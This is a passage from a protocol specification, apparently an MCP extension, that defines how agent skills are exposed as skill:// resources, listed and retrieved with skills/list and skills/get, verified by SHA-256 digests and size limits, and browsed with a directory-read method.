This extension has no dependencies beyond the base MCP Resources primitive. In protocol versions 2026-07-28 and later, `skills/list` results additionally carry the base protocol's list-caching attributes ([SEP-2549]).
|
||||
|
||||
### Skill Format
|
||||
|
||||
A skill served over MCP MUST conform to the [Agent Skills specification](https://agentskills.io/specification). In particular:
|
||||
|
||||
- A skill is a directory. Its _skill name_ is the value of the `name` field in its `SKILL.md` frontmatter.
|
||||
- Every skill MUST contain a `SKILL.md` file at its root.
|
||||
- `SKILL.md` MUST begin with YAML frontmatter containing at minimum the `name` and `description` fields as defined by the Agent Skills specification.
|
||||
- A skill MAY contain additional files and subdirectories (references, scripts, examples, assets).
|
||||
|
||||
This extension does not redefine, constrain, or extend the skill format. Future revisions of the Agent Skills specification apply automatically.
|
||||
|
||||
### Resource Mapping
|
||||
|
||||
Each file within a skill directory is exposed as an MCP resource. Servers SHOULD use the `skill://` URI scheme, under which the resource URI has the form:
|
||||
|
||||
```
|
||||
skill://<skill-path>/<file-path>
|
||||
```
|
||||
|
||||
where:
|
||||
|
||||
- `<skill-path>` is a `/`-separated path of one or more segments locating the skill directory within the server's skill namespace. It MAY be a single segment (`git-workflow`) or nested to arbitrary depth (`acme/billing/refunds`).
|
||||
- `<file-path>` is the file's path relative to the skill directory root, using `/` as the separator.
|
||||
|
||||
The resource for the skill's required `SKILL.md` is therefore always addressable as `skill://<skill-path>/SKILL.md`, and the skill's root directory is `skill://<skill-path>` (the `/SKILL.md` suffix removed, no trailing slash), matching [Directory Listing](#directory-listing).
|
||||
|
||||
The final segment of `<skill-path>` MUST equal the skill's `name` as declared in its `SKILL.md` frontmatter. This mirrors the Agent Skills specification's requirement that `name` [match the parent directory name](https://agentskills.io/specification#name-field). Preceding segments, if any, are a server-chosen organizational prefix — servers MAY organize skills hierarchically by domain, team, version, or any other axis. In `skill://acme/billing/refunds/SKILL.md`, the prefix is `acme/billing` and the skill's `name` is `refunds`; in `skill://git-workflow/SKILL.md` there is no prefix and the `name` is `git-workflow`. This means the skill name is always recoverable from the URI alone, without reading frontmatter.
|
||||
|
||||
Further constraints:
|
||||
|
||||
- A `SKILL.md` MAY appear in a descendant directory of a skill — skills can nest. See [Nested skills](#nested-skills).
|
||||
- The final `<skill-path>` segment, being the skill `name`, MUST satisfy the Agent Skills specification's naming rules. The first `<skill-path>` segment occupies the authority component and SHOULD be a valid `reg-name` per [RFC 3986](https://datatracker.ietf.org/doc/html/rfc3986); any other prefix segments SHOULD be valid URI path segments; no further constraints are imposed on them.
|
||||
|
||||
Per RFC 3986, the first segment of `<skill-path>` occupies the authority component. This carries no special semantics under this convention and clients MUST NOT attempt DNS or network resolution of it.
|
||||
|
||||
A server MAY serve skills under another scheme native to its domain (e.g., `github://owner/repo/skills/refunds/SKILL.md`). No scheme is privileged: the structural constraints above — `<skill-path>` ending in the skill name, `SKILL.md` explicit in the URI — apply regardless of scheme, and [`skills/list`](#enumeration-via-skillslist) enumerates a server's skills whatever scheme they use.
|
||||
|
||||
Skill identity does not depend on the scheme. A host learns that a resource is a skill in one of two ways: from a [`skills/list`](#enumeration-via-skillslist) entry, the authoritative record of the skills a server publishes; or from an explicit reference — the server's `instructions` field, another skill, or the user — which [`skills/get`](#retrieval-via-skillsget) confirms, the server answering for a skill it serves and erroring otherwise. This holds for every scheme, `skill://` included. A host MUST NOT conclude that a resource is a skill merely because its URI carries a particular scheme.
|
||||
|
||||
#### Examples
|
||||
|
||||
| Skill path | File | Resource URI |
|
||||
| ---------------------- | --------------------- | ------------------------------------------------ |
|
||||
| `git-workflow` | `SKILL.md` | `skill://git-workflow/SKILL.md` |
|
||||
| `pdf-processing` | `references/FORMS.md` | `skill://pdf-processing/references/FORMS.md` |
|
||||
| `pdf-processing` | `scripts/extract.py` | `skill://pdf-processing/scripts/extract.py` |
|
||||
| `acme/billing/refunds` | `SKILL.md` | `skill://acme/billing/refunds/SKILL.md` |
|
||||
| `acme/billing/refunds` | `examples/email.md` | `skill://acme/billing/refunds/examples/email.md` |
|
||||
|
||||
#### Resource Metadata
|
||||
|
||||
For each `skill://<skill-path>/SKILL.md` resource:
|
||||
|
||||
- `mimeType` SHOULD be `text/markdown`.
|
||||
- `name` SHOULD be set from the `name` field of the `SKILL.md` YAML frontmatter. By the path constraint above, this will equal the final segment of `<skill-path>`.
|
||||
- `description` SHOULD be set from the `description` field of the `SKILL.md` YAML frontmatter.
|
||||
|
||||
Servers MAY expose additional frontmatter fields via the resource's `_meta` object. When `_meta` keys are used for skill resources, implementations SHOULD use the `io.modelcontextprotocol.skills/` reverse-domain prefix. Other files in the skill use the `mimeType` appropriate to their content.
|
||||
|
||||
#### Nested skills
|
||||
|
||||
A skill directory MAY contain further skills in descendant directories. A nested skill is subject to the same rules as any other skill — its directory name is its `name`, and the enclosing skill's path becomes part of its organizational prefix — with the following semantics:
|
||||
|
||||
- **Nested content is supporting content.** From the enclosing skill's perspective, a nested skill's directory and files are ordinary supporting files, and reading them is ordinary reading. A nested `SKILL.md` read this way is ordinary markdown: hosts MUST NOT act on its frontmatter.
|
||||
- **Activation requires fresh consent.** Approval is per skill: approving a skill approves that skill alone and says nothing about skills nested within it. Activating a nested skill — loading it as a skill in its own right, whether through the host's skill-loading machinery or by giving effect to its frontmatter — requires fresh, explicit user consent; approval of the enclosing skill does not substitute for it. Once activated, a nested skill is an ordinary skill: its frontmatter takes effect under the same rules as any other MCP-served skill, including the approval gate on `allowed-tools`.
|
||||
- **Publication is flat.** A nested skill is published like any other: through its own [`skills/list`](#enumeration-via-skillslist) entry, or by explicit reference. The listing remains flat — an entry for a nested skill is an ordinary entry whose `uri` happens to share a path prefix with the enclosing skill's, and nothing in the listing marks nesting.
|
||||
|
||||
### Discovery
|
||||
|
||||
A server is not required to make its skills enumerable. A skill's URI is directly readable via `resources/read` whether or not it appears in any listing, and hosts MUST support loading a skill given only its URI (see [Hosts: End-to-End Integration](#hosts-end-to-end-integration)). This is the baseline: if a model has the URI — from server instructions, from another skill, from the user — it can read the skill.
|
||||
|
||||
On top of that baseline, three mechanisms are defined. Two are discovery: enumeration via `skills/list`, which every server declaring this extension implements, and an optional pointer from server instructions. The third is retrieval: however a host arrives at a skill's URI, `skills/get` returns that skill's entry — its metadata and digests — including for skills no listing mentions.
|
||||
|
||||
#### Enumeration via `skills/list`
|
||||
|
||||
A server declaring the `io.modelcontextprotocol/skills` extension MUST implement the `skills/list` method, which returns the skills it serves. The result MAY be empty.
|
||||
|
||||
The request carries an optional pagination cursor:
|
||||
|
||||
```json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": 4,
|
||||
"method": "skills/list",
|
||||
"params": {}
|
||||
}
|
||||
```
|
||||
|
||||
The result carries the skill entries:
|
||||
|
||||
```json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": 4,
|
||||
"result": {
|
||||
"resultType": "complete",
|
||||
"skills": [
|
||||
{
|
||||
"uri": "skill://git-workflow/SKILL.md",
|
||||
"frontmatter": {
|
||||
"name": "git-workflow",
|
||||
"description": "Follow this team's Git conventions for branching and commits"
|
||||
},
|
||||
"resources": [
|
||||
{
|
||||
"uri": "skill://git-workflow/SKILL.md",
|
||||
"digest": "sha256:a1b2c3d4...",
|
||||
"size": 2314
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"uri": "skill://acme/billing/refunds/SKILL.md",
|
||||
"frontmatter": {
|
||||
"name": "refunds",
|
||||
"description": "Process customer refund requests per company policy",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"resources": [
|
||||
{
|
||||
"uri": "skill://acme/billing/refunds/SKILL.md",
|
||||
"digest": "sha256:b2c3d4e5...",
|
||||
"size": 3871
|
||||
},
|
||||
{
|
||||
"uri": "skill://acme/billing/refunds/examples/email.md",
|
||||
"digest": "sha256:c3d4e5f6...",
|
||||
"size": 962
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/SKILL.md",
|
||||
"frontmatter": {
|
||||
"name": "pdf-processing",
|
||||
"description": "Extract, fill, and assemble PDF documents",
|
||||
"metadata": { "version": "2.1.0" }
|
||||
},
|
||||
"resources": [
|
||||
{
|
||||
"uri": "skill://pdf-processing/SKILL.md",
|
||||
"digest": "sha256:d5e6f7a8...",
|
||||
"size": 5120
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/references/FORMS.md",
|
||||
"digest": "sha256:e6f7a8b9...",
|
||||
"size": 18433
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/scripts/extract.py",
|
||||
"digest": "sha256:f7a8b9c0...",
|
||||
"size": 4096
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/invoice.md",
|
||||
"digest": "sha256:a8b9c0d1...",
|
||||
"size": 1210
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/purchase-order.md",
|
||||
"digest": "sha256:b9c0d1e2...",
|
||||
"size": 1388
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/regional/eu-invoice.md",
|
||||
"digest": "sha256:c0d1e2f3...",
|
||||
"size": 1472
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Result fields:
|
||||
|
||||
| Field | Required | Description |
|
||||
| ----------------------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `skills` | Yes | Array of skill entries. |
|
||||
| `skills[].frontmatter` | Yes | Verbatim copy of the skill's `SKILL.md` YAML frontmatter, rendered as JSON. See [Frontmatter](#frontmatter). |
|
||||
| `skills[].uri` | Yes | Resource URI of the skill's `SKILL.md`. See [Skill URIs](#skill-uris). |
|
||||
| `skills[].resources` | Yes | The skill's files: an array enumerating them with digests and sizes, or the string `"dynamic"`. See [Resources](#resources). |
|
||||
| `skills[].resources[].uri` | Yes | Resource URI of the file. |
|
||||
| `skills[].resources[].digest` | Yes | SHA-256 digest of the file. See [Integrity](#integrity-and-verification). |
|
||||
| `skills[].resources[].size` | Yes | Length in bytes of the file's raw content. See [Limits](#limits). |
|
||||
|
||||
A skill whose content is generated dynamically carries `"resources": "dynamic"` in place of the array. An entry with no `resources` at all is invalid.
|
||||
|
||||
Pagination mirrors the base protocol's list methods: the request accepts an optional `cursor`, and when the result includes `nextCursor` the client passes it back to retrieve the next page. An entry is atomic — a skill's `resources` set is never split across pages.
|
||||
|
||||
In protocol versions 2026-07-28 and later, the result also carries the base protocol's list-caching attributes — `ttlMs` and `cacheScope`, as defined for `tools/list` and `resources/list` ([SEP-2549]) — with the same semantics: a freshness hint for the listing and a cache-scope marker, not an integrity property. [Integrity and verification](#integrity-and-verification) governs content regardless of how fresh a cached listing is.
|
||||
|
||||
A server whose skill catalog is large, generated on demand, or otherwise unenumerable MAY return an empty or partial listing. Hosts MUST NOT treat an empty or partial listing as proof that a server has no skills. The method serves entries for a server's skills whatever URI scheme they use — enumeration is uniform across schemes.
|
||||
|
||||
##### Names
|
||||
|
||||
A skill's `name` is a label, not an identifier — a skill is identified by its `uri` within a server, and by the pair of server identity and `uri` across servers ([Skill URIs](#skill-uris)). Within a server's listing, names SHOULD be unique, but they are not guaranteed to be: two skills at different paths may share a final segment (`acme/billing/refunds` and `acme/support/refunds` are both named `refunds`), and a nested skill may share its name with a top-level one. Hosts MUST NOT assume name uniqueness. When two entries in one listing collide on `name`, hosts MUST disambiguate them — for example by their distinguishing path segments — rather than silently discarding or preferring one. When skills from different origins collide on `name`, hosts MUST resolve the name within a per-origin namespace, identifying servers by a host-assigned label; an MCP-served skill MUST NOT silently shadow, or be silently substituted for, a same-named skill from any other origin — another server's, or the host's own filesystem skills. See [Security Implications](#security-implications).
|
||||
|
||||
##### Frontmatter
|
||||
|
||||
`frontmatter` is the skill's `SKILL.md` YAML frontmatter rendered verbatim as a JSON object — every field the author wrote, not a curated subset. Because the Agent Skills specification requires `name` and `description`, those fields are always present; everything else (`license`, `metadata`, fields added by future revisions of the Agent Skills specification) passes through unchanged. A host can therefore build its skill registry — names, descriptions, and whatever other metadata it understands — from the listing alone, without fetching each `SKILL.md`.
|
||||
|
||||
The `frontmatter` object MUST be identical in content to the frontmatter of the `SKILL.md` it describes. The final `<skill-path>` segment of the entry's `uri` MUST equal `frontmatter.name`, per [Resource Mapping](#resource-mapping).
|
||||
|
||||
Within the frontmatter `metadata` object, keys prefixed with `io.modelcontextprotocol/` are reserved for metadata defined by MCP extensions. This extension currently defines no such keys. Implementations SHOULD ignore keys under this prefix that they do not recognize.
|
||||
|
||||
##### Skill URIs
|
||||
|
||||
`uri` is the full resource URI of the skill's `SKILL.md`, readable via `resources/read`. Supporting files are individually addressable as sibling resources under the same skill path, per [Resource Mapping](#resource-mapping). A skill is always retrieved as individually addressable resources; this extension defines no packed or bundled retrieval form. See [Appendix: Deferred Features](#appendix-deferred-features).
|
||||
|
||||
A skill URI is scoped to the server that serves it. Nothing prevents two connected servers from both serving `skill://refunds/SKILL.md`, and those are two unrelated skills. The identity of an MCP-served skill is therefore the pair of the host's identity for the originating server and the skill's `uri`. Hosts MUST preserve both halves wherever a skill is recorded or addressed — the registry, persisted approvals, the cache, and any tool or path through which the model reaches the skill — and MUST NOT key any of these on the `uri` alone. In particular, any path at which a host materializes skill content, whether a cache directory or a virtual mount, MUST encode the server identity as well as the `uri`, so that same-URI skills from different servers land at distinct paths and the originating server is recoverable from the path; this is also what lets the host honor the durable-origin requirement in [Security Implications](#security-implications).
|
||||
|
||||
##### Resources
|
||||
|
||||
`resources` is REQUIRED on every skill entry and takes one of two forms: an array enumerating the skill's files — `SKILL.md` and every supporting file — as `{uri, digest, size}` triples, or the string `"dynamic"`. The array is the unit of content that a host verifies and that a user's approval binds to:
|
||||
|
||||
- When present, `resources` MUST be complete: it lists every file of the skill, each exactly once, including an entry matching the skill's top-level `uri` — that entry carries the digest and size of `SKILL.md` itself.
|
||||
- Each `uri` MUST be the skill's `SKILL.md` or a file within the skill's directory.
|
||||
- Each entry MUST carry `size`: the length in bytes of the file's raw content — the same bytes the `digest` covers. `size` lets a host budget a skill before fetching anything: it can enforce the [Limits](#limits) from the entry alone, decide whether a file is worth retrieving, and detect a truncated or padded read before hashing it. A read whose byte length differs from the entry's `size` is a verification failure equivalent to a digest mismatch ([Integrity and verification](#integrity-and-verification)), whether or not the host goes on to compute the digest.
|
||||
- Completeness extends to nested skills: from the enclosing skill's perspective their files are supporting files ([Nested skills](#nested-skills)), so the enclosing skill's `resources` lists them too, and the same file may appear in both the enclosing and the nested skill's entries. A change to a nested skill is therefore a change to the enclosing skill's set.
|
||||
- When a skill's content is generated dynamically, such that stable digests cannot be published, the server MUST set `"resources": "dynamic"` instead of an array. The marker is explicit so that a host can tell a deliberately unverifiable skill from a malformed entry: an entry with no `resources` at all, or with any value other than an array or `"dynamic"`, is invalid, and hosts MUST NOT load it. A skill whose `resources` is `"dynamic"` offers no content integrity and cannot be content-bound ([Security Implications](#security-implications)). Hosts MAY decline to load such skills, and server authors SHOULD expect that some hosts will.
|
||||
|
||||
##### Integrity and verification
|
||||
|
||||
Digests are SHA-256 hashes of an artifact's raw bytes, formatted as `sha256:{hex}` where `{hex}` is 64 lowercase hexadecimal characters. Each entry in a skill's `resources` carries the digest of the file at its `uri`.
|
||||
|
||||
When a host retrieves a file listed in a skill's `resources`, it MUST verify the content against that entry's digest. A mismatch means the content is not what the listing promised — corrupted, tampered with, or simply stale because the skill was updated after the listing was fetched. Whatever the cause, hosts MUST NOT use the unverified content; to recover from staleness, call [`skills/get`](#retrieval-via-skillsget) for that skill — or `skills/list` to refresh the catalog — and proceed from the current `resources` set, which, being different, revokes any content-bound approval ([Security Implications](#security-implications)). A host is _acting on_ a skill from the moment it loads the skill's `SKILL.md` into the model's context until, at the earliest, that `SKILL.md` leaves context; hosts MAY hold the window open longer, never shorter. For the whole of that window the host holds the entry from which it loaded the skill. Because `resources` is complete, an unlisted file is a change to the skill: while acting on a skill, a host MUST resolve reads of the skill's files only to URIs listed in that entry's `resources`, and MUST treat a read of an unlisted file within the skill as a verification failure equivalent to a digest mismatch. Hosts MUST NOT retrieve a skill's files ahead of need — not on connection, not on listing, and not at approval. A `SKILL.md` is fetched when the skill is loaded, and a supporting file when it is read. A server may publish many skills with many files each, and every host that connects retrieving all of them would impose load proportional to the catalog rather than to use. Hosts SHOULD instead cache what they do retrieve, and digests make that cache cheap to validate: a cached file whose digest matches the current entry can be served without fetching it again, and one whose digest does not match must be fetched again. A cached copy is only as trustworthy as the host's certainty that its bytes have not changed since they were verified; the requirements on a disk cache are in [Security Implications](#security-implications). Lazy retrieval is compatible with content-bound approval, which binds to the entry's `resources` set rather than to retrieved bytes; a file fetched long after approval is verified against that set when it is read.
|
||||
|
||||
Digests are unsigned and supplied by the same server that supplies the content. A match proves the two are consistent, not that either is trustworthy. Any intermediary on the path, such as a gateway, can rewrite both the listing and the content together. Hosts MUST NOT treat a digest match as a security boundary.
|
||||
|
||||
After fetching a `SKILL.md` for which the host holds an entry, from either `skills/list` or `skills/get` — digest-verified when the entry's `resources` is an array, and unverifiable when it is `"dynamic"` — hosts MUST parse its YAML frontmatter and compare it field-by-field against the entry's `frontmatter`. Any discrepancy MUST be treated as a verification failure equivalent to a digest mismatch, and the skill MUST NOT be loaded. This enforces the [Frontmatter](#frontmatter) identity requirement on the host side, so that what a user approves from the listing is what the model actually receives.
|
||||
|
||||
##### Limits
|
||||
|
||||
This extension fixes two per-skill limits so that servers know what every conforming host will accept and hosts know what they must be prepared to handle:
|
||||
|
||||
| Limit | Value | Counted over |
|
||||
| ------------------------- | ------------------------- | ----------------------------------------------------------- |
|
||||
| Resources per skill | 512 entries | The entries of the skill's `resources`, `SKILL.md` included |
|
||||
| Total file size per skill | 16 MiB (16,777,216 bytes) | The sum of `size` over the skill's `resources` |
|
||||
|
||||
Hosts MUST support skills up to and including these limits, and MAY support larger ones. Servers SHOULD NOT serve a skill that exceeds either limit; a skill that does is not guaranteed to be loadable by any conforming host. Because `resources` is complete, both limits are checkable from the entry alone — counting entries and summing `size` — before the host retrieves a single file, and a host that declines a skill on this basis SHOULD tell the user why rather than fail silently on a later read.
|
||||
|
||||
For a skill whose `resources` is `"dynamic"`, the entry offers nothing to count. A host that chooses to load such a skill applies the total-size limit to what it actually retrieves and MAY stop loading the skill once that limit is reached.
|
||||
|
||||
These limits bound a host's exposure to a single skill. They say nothing about how many skills a server may serve or a host must accept; a listing may be arbitrarily large, which is one reason hosts retrieve files only on demand ([Integrity and verification](#integrity-and-verification)).
|
||||
|
||||
#### Retrieval via `skills/get`
|
||||
|
||||
A server declaring the `io.modelcontextprotocol/skills` extension MUST also implement the `skills/get` method, which returns the entry for a single skill named by its URI:
|
||||
|
||||
```json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": 5,
|
||||
"method": "skills/get",
|
||||
"params": {
|
||||
"uri": "skill://pdf-processing/SKILL.md"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": 5,
|
||||
"result": {
|
||||
"resultType": "complete",
|
||||
"skill": {
|
||||
"uri": "skill://pdf-processing/SKILL.md",
|
||||
"frontmatter": {
|
||||
"name": "pdf-processing",
|
||||
"description": "Extract, fill, and assemble PDF documents",
|
||||
"metadata": { "version": "2.1.0" }
|
||||
},
|
||||
"resources": [
|
||||
{
|
||||
"uri": "skill://pdf-processing/SKILL.md",
|
||||
"digest": "sha256:d5e6f7a8...",
|
||||
"size": 5120
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/references/FORMS.md",
|
||||
"digest": "sha256:e6f7a8b9...",
|
||||
"size": 18433
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/scripts/extract.py",
|
||||
"digest": "sha256:f7a8b9c0...",
|
||||
"size": 4096
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/invoice.md",
|
||||
"digest": "sha256:a8b9c0d1...",
|
||||
"size": 1210
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/purchase-order.md",
|
||||
"digest": "sha256:b9c0d1e2...",
|
||||
"size": 1388
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/regional/eu-invoice.md",
|
||||
"digest": "sha256:c0d1e2f3...",
|
||||
"size": 1472
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`params.uri` MUST be the URI of a skill's `SKILL.md`. The `skill` object is a skill entry, identical in shape and meaning to an entry of `skills/list` — the same `uri`, `frontmatter`, and `resources` fields, under the same rules.
|
||||
|
||||
Semantics:
|
||||
|
||||
- If the URI does not identify a skill the server serves, the server MUST return error `-32602` (Invalid params) — the same code `resources/read` uses for unknown resources.
|
||||
- A server MUST answer for every skill it serves, whether or not that skill appears in its `skills/list` result. A skill absent from a partial listing is still retrievable by URI.
|
||||
- The result is a point-in-time snapshot, exactly as a listing entry is. Re-calling the method is how a host refreshes one skill's digests without re-enumerating the catalog.
|
||||
- A skill whose content is generated dynamically carries `"resources": "dynamic"`, per [Resources](#resources), whether it is reached through `skills/list` or `skills/get`.
|
||||
- The result carries no pagination cursor: a single entry is not a list. The entry is a snapshot of the skill as the server holds it at that moment; whether the result should also carry the base protocol's caching attributes (`ttlMs` and `cacheScope`, per [SEP-2549]), as `resources/read` results do, is left open.
|
||||
|
||||
The method complements the baseline: a URI alone is enough to read a skill, and `skills/get` turns that same URI into the skill's metadata and digests, so a skill that never appeared in a listing can still be verified and content-bound ([Security Implications](#security-implications)).
|
||||
|
||||
#### Pointer from Server Instructions
|
||||
|
||||
A server MAY direct the agent to specific skill URIs from its `instructions` field. This requires no discovery machinery on the host; the URI is simply present in the model's context and readable via `resources/read`.
|
||||
|
||||
#### Capability Declaration
|
||||
|
||||
Per [SEP-2133] extension negotiation, servers declare support for this extension in their `initialize` response:
|
||||
|
||||
```json
|
||||
{
|
||||
"capabilities": {
|
||||
"extensions": {
|
||||
"io.modelcontextprotocol/skills": {
|
||||
"directoryRead": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
One extension-specific setting is defined:
|
||||
|
||||
| Setting | Type | Default | Meaning |
|
||||
| --------------- | ------- | ------- | ----------------------------------------------------------------------- |
|
||||
| `directoryRead` | boolean | `false` | The server implements [`resources/directory/read`](#directory-listing). |
|
||||
|
||||
An empty object indicates support for the extension with no optional features. Declaring the extension itself commits the server to [`skills/list`](#enumeration-via-skillslist) and [`skills/get`](#retrieval-via-skillsget); clients MUST NOT call `resources/directory/read` against a server that has not declared `directoryRead: true`.
|
||||
|
||||
### Reading
|
||||
|
||||
Skill files are read via the standard `resources/read` method. No skill-specific read semantics are defined.
|
||||
|
||||
In particular, reading a `SKILL.md` via `resources/read` does not by itself activate the skill. `resources/read` is transport: it returns bytes, whoever asked for them — a generic resource-reading tool, a resource browser, a user inspecting the server. A skill is activated only by the host's own skill-loading path — the one that verifies the content against the skill's entry ([Integrity and verification](#integrity-and-verification)), applies any required user approval ([Security Implications](#security-implications)), and opens the window in which the host is acting on the skill. Hosts MUST NOT treat a `resources/read` of a `SKILL.md` that arrives by any other route as a load: it grants no approval, opens no window, and confers no standing on the skill's supporting files. Content obtained that way is ordinary resource content, and a host that returns it to the model SHOULD do so as it would any other resource read, not as a loaded skill. A host that wishes such a read to load the skill routes it through the skill-loading path instead.
|
||||
|
||||
Internal references within a skill (e.g., `SKILL.md` linking to `references/GUIDE.md`) are relative paths, as in the filesystem form of the Agent Skills specification. A client resolves a relative reference against the skill's root — `references/GUIDE.md` in `skill://acme/billing/refunds/SKILL.md` resolves to `skill://acme/billing/refunds/references/GUIDE.md` — exactly as a filesystem path would resolve. The skill's root is the directory containing `SKILL.md`, not the scheme root. When skills nest, each `SKILL.md`'s references resolve against its own directory: a relative reference in a nested skill's `SKILL.md` resolves against the nested skill's root, regardless of how the file was reached.
|
||||
|
||||
### Directory Listing
|
||||
|
||||
A skill's instructions frequently reference a directory rather than a file: "pick the appropriate template from `templates/`", "run the matching script in `scripts/`". To act on this, the agent must learn what the directory contains. `resources/list` cannot answer that scoped question: it enumerates the server's entire resource space, not a subtree, and the servers this SEP most wants to accommodate — large, generated, or unenumerable catalogs (see [Why May the Listing Be Empty or Partial?](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/rationale.md#why-may-the-listing-be-empty-or-partial)) — may not implement meaningful global listing at all.
|
||||
|
||||
This extension therefore defines one new method, `resources/directory/read`, gated behind the `directoryRead` setting of the [capability declaration](#capability-declaration).
|
||||
|
||||
#### Directory resources
|
||||
|
||||
A _directory resource_ is a resource whose `mimeType` is `inode/directory`. In a skill namespace served as individual files, every directory level is a directory resource: the skill root (`skill://pdf-processing`) and each subdirectory (`skill://pdf-processing/templates`). Directory URIs are written without a trailing slash. Directory resources need not appear in `resources/list`; they are addressable whether listed or not.
|
||||
|
||||
#### `resources/directory/read`
|
||||
|
||||
The request carries the directory's URI and an optional pagination cursor. The result carries the resource metadata of the directory's direct children — the same `Resource` objects that `resources/list` returns, with the same `nextCursor` pagination contract.
|
||||
|
||||
```json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": 7,
|
||||
"method": "resources/directory/read",
|
||||
"params": {
|
||||
"uri": "skill://pdf-processing/templates"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": 7,
|
||||
"result": {
|
||||
"resultType": "complete",
|
||||
"resources": [
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/invoice.md",
|
||||
"name": "invoice.md",
|
||||
"mimeType": "text/markdown"
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/purchase-order.md",
|
||||
"name": "purchase-order.md",
|
||||
"mimeType": "text/markdown"
|
||||
},
|
||||
{
|
||||
"uri": "skill://pdf-processing/templates/regional",
|
||||
"name": "regional",
|
||||
"mimeType": "inode/directory"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Semantics:
|
||||
|
||||
- The method applies only to directory resources. If the URI does not exist, or exists but is not a directory resource, the server MUST return error `-32602` (Invalid params) — the same code `resources/read` uses for unknown resources.
|
||||
- The result contains every direct child of the directory: files with their ordinary resource metadata, subdirectories listed as directory resources (`mimeType: "inode/directory"`). The listing is not recursive; clients descend by calling the method again on a child directory.
|
||||
- An empty directory yields an empty `resources` array.
|
||||
- Pagination mirrors `resources/list`: when the result includes `nextCursor`, the client passes it back as `cursor` to retrieve the next page.
|
||||
|
||||
A server that declares `directoryRead` MUST support the method for every directory within the skill namespaces it serves as individual files. The method itself is not skill-specific: a server MAY support it on any directory resource it serves, under any scheme.
|
||||
|
||||
#### Directory reads and the held entry
|
||||
|
||||
For a skill whose entry carries `resources`, the host already holds a complete manifest of the skill's files ([Resources](#resources)); a directory read tells it nothing about that skill's contents that the entry did not. Directory reading earns its place elsewhere: for dynamically generated skills, whose `resources` is `"dynamic"`; for resource trees that are not skills at all; and for obtaining the server's current view of a directory without first refreshing the entry. When a host acting on a skill with a manifest wants to know what `templates/` contains, it MAY answer from the entry alone.
|
||||
|
||||
The two views can disagree. If the server adds a file to a skill after the host obtained its entry, a directory read may list that file while the held manifest does not. This is not a contradiction but the stale-snapshot case that [Integrity and verification](#integrity-and-verification) already governs, and the recovery path is the one specified there: while acting on the skill under the held entry, the host MUST NOT read the newly listed child — an unlisted file is a verification failure, exactly as a digest mismatch is — and MUST NOT surface it to the model as a file of the skill. To reach it, the host refreshes the entry with [`skills/get`](#retrieval-via-skillsget), at which point the `resources` set has changed and any persisted content-bound approval is revoked and must be obtained again ([Security Implications](#security-implications)). Only under the refreshed entry is the new file readable. Hosts SHOULD expect this sequence and present it as such — a skill that has changed and needs re-approval — rather than as a read error. Conversely, a child present in the manifest but absent from a directory read is a file the server no longer serves; a read of it will fail, and the same refresh applies.
|
||||
|
||||
This extension defines no shared version or cache token that would let a host determine whether a directory result and an entry describe the same snapshot of the server. The manifest is authoritative for what the host may read under its current approval; a directory read is a live observation that may run ahead of or behind it. Hosts MUST NOT treat the directory result as extending the manifest.
|
||||
|
||||
For a dynamically generated skill, whose `resources` is `"dynamic"`, none of this changes the skill's standing: it offers no content integrity and cannot be content-bound, and a host MAY decline to load it ([Resources](#resources)). A directory read is how such a skill's files are discovered at all, but it does not supply the integrity the entry lacks.
|
||||
|
||||
## Implementation Guidelines
|
||||
|
||||
The following are recommendations for interoperable implementations. They are not part of the normative specification.
|
||||
|
||||
### Hosts: End-to-End Integration
|
||||
|
||||
This section sketches one way a host might wire MCP-served skills into an existing skills implementation. It is illustrative, not prescriptive — hosts are free to structure tools, naming, and routing however suits their architecture. The goal is that an MCP-served skill flows through the same loading and reading mechanics as a filesystem skill — while remaining origin-tagged, per [Security Implications](#security-implications).
|
||||
|
||||
**Registry.** At startup and on connection change, the host assembles a single internal skill registry from every origin it supports: filesystem skill directories, and `skills/list` results from each connected MCP server that declares the `io.modelcontextprotocol/skills` extension. Each registry entry records the skill's `name` and `description` (from the entry's `frontmatter`) and its origin — for a filesystem skill, the local directory; for an MCP skill, the server identity and the `SKILL.md` resource URI. Assembling the registry reads only the listing: the host MUST NOT fetch `SKILL.md` or any supporting file at this stage ([Integrity and verification](#integrity-and-verification)) — the entry's `frontmatter` carries everything the registry needs. Because names collide within and across origins ([Names](#names)), the registry keys entries by origin and name together, qualifying colliding names for display and invocation rather than dropping either entry.
|
||||
|
||||
